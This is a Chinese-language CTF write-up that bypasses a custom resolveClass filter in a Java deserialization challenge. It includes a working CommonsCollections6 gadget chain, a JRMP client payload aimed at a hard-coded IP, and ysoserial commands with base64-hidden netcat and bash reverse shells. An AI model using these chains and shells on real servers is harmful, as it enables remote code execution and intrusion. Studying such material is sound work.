0x00 前言

我打算深入分析具体的流程,进而总结出更多的调试经验。

0x01 正文

问题表象

搭建Docker和本地环境,开启服务:

image-20250310093844809

观察题目文件和jar包:

image-20250310094028270

看到CC包,难免想试试cc链攻击。但是在此之前,需要先观察题目文件的具体逻辑:

image-20250310094226941

自定义了MyObjectInputStream类来替代ObjectInputStream类,并且重载了resolveClass方法(resolveClass方法通常用于根据类名动态加载相应的类):

image-20250310094323405

没多想这样的改动,先用CC6试试。

事实上,当发现类和方法被修改时,应该与原始的代码去对比,比较不同之处,进而针对性地解决问题。

CC6_POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.yxxx.javasec.deserialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class POC_CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "111");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "222");
decoratedMap.remove("111");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(map1);
objectOutputStream.close();
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
byteArrayOutputStream.close();

}
}

响应包:

image-20250310131456696

数组加载

500属于服务端错误,看看堆栈:

image-20250310131546060

找不到这个类:[Lorg.apache.commons.collections.Transformer;

跟进去,查看具体的源码逻辑:

image-20250310131727176

简而言之,就是URLClassLoader.findClass方法无法找到[Lorg.apache.commons.collections.Transformer类。

不难猜到,[Lorg.apache.commons.collections.Transformer; 并没有对应的静态文件,因为数组类型的类是由JVM动态生成的。

那平常的数组类是用什么方法进行加载的呢?没错,forName方法。我们不妨看看正常的数组类加载流程:

image-20250310132734222

调到这边:

image-20250310133019622

对比重载的reslolveClass方法,不难发现原先用forName方法加载类变成了用loadClass方法加载类。同时,URLClassLoader.findClass无法加载原生类和数组类,所以才会爆出上文的错误。

原生调用

那么我们使用原生的ObjectInputStream,还能不能进行反序列化攻击呢:

image-20250310172815936

image-20250310174040159

可以弹Calc。

摆脱数组

显然数组是不能使用的,又受限于commons-collections依赖版本的影响,导致几乎所有CC链都无法使用。

往Shiro的方向思考一下,shiro反序列化中没有用到数组类,但题目没给CB依赖。

本次使用这一种方法:出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。

也就是说,我们先起一个JRMP服务端,再通过反序列化的方式让靶机访问该服务端,该服务端传入恶意链子进而RCE。

第一步:产生访问JRMP客户端的反序列化链子,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.yxxx.javasec.deserialize;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import static com.yxxx.javasec.deserialize.Utils.bytesTohexString;
import static org.apache.commons.collections.MapUtils.getObject;

public class POC_JRMP {
public static void main(String[] args) throws Exception{
Registry registry = (Registry) getObject("120.26.138.45",1099);
byte[] serializable = serializable(registry);
String string = bytesTohexString(serializable);
System.out.println(string);
}

public static Object getObject(String host,int port){
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(POC_JRMP.class.getClassLoader(), new Class[] {Registry.class}, obj);
return proxy;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
public static byte[] serializable(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}

第二步:搭建恶意的JRMP服务端:

image-20250310233853107

具体命令如下:(适用于Windows)

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "powershell -c \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('RTovYWxsX3Rvb2wvRVhFL2NtZC9uZXRjYXQtd2luMzItMS4xMi9uYzY0LmV4ZSAtZSBjbWQgMTIwLjI2LjEzOC40NSA1MjE='))|IEX\""

类似的适用于Linux的就比较常见了:(适用于Linux)

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwOTkgMD4mMQ==}|{base64, -d}|{bash, -i}"

第三步:监听将要接受shell的端口:

image-20250310234337612

第四步:发送POC_JRMP里输出的序列化数据:

image-20250310234220868

最后,成功反弹shell:

image-20250310234458280

0x03 小结

说简单吧,全然不是。说难吧,就看自己愿不愿意去思考。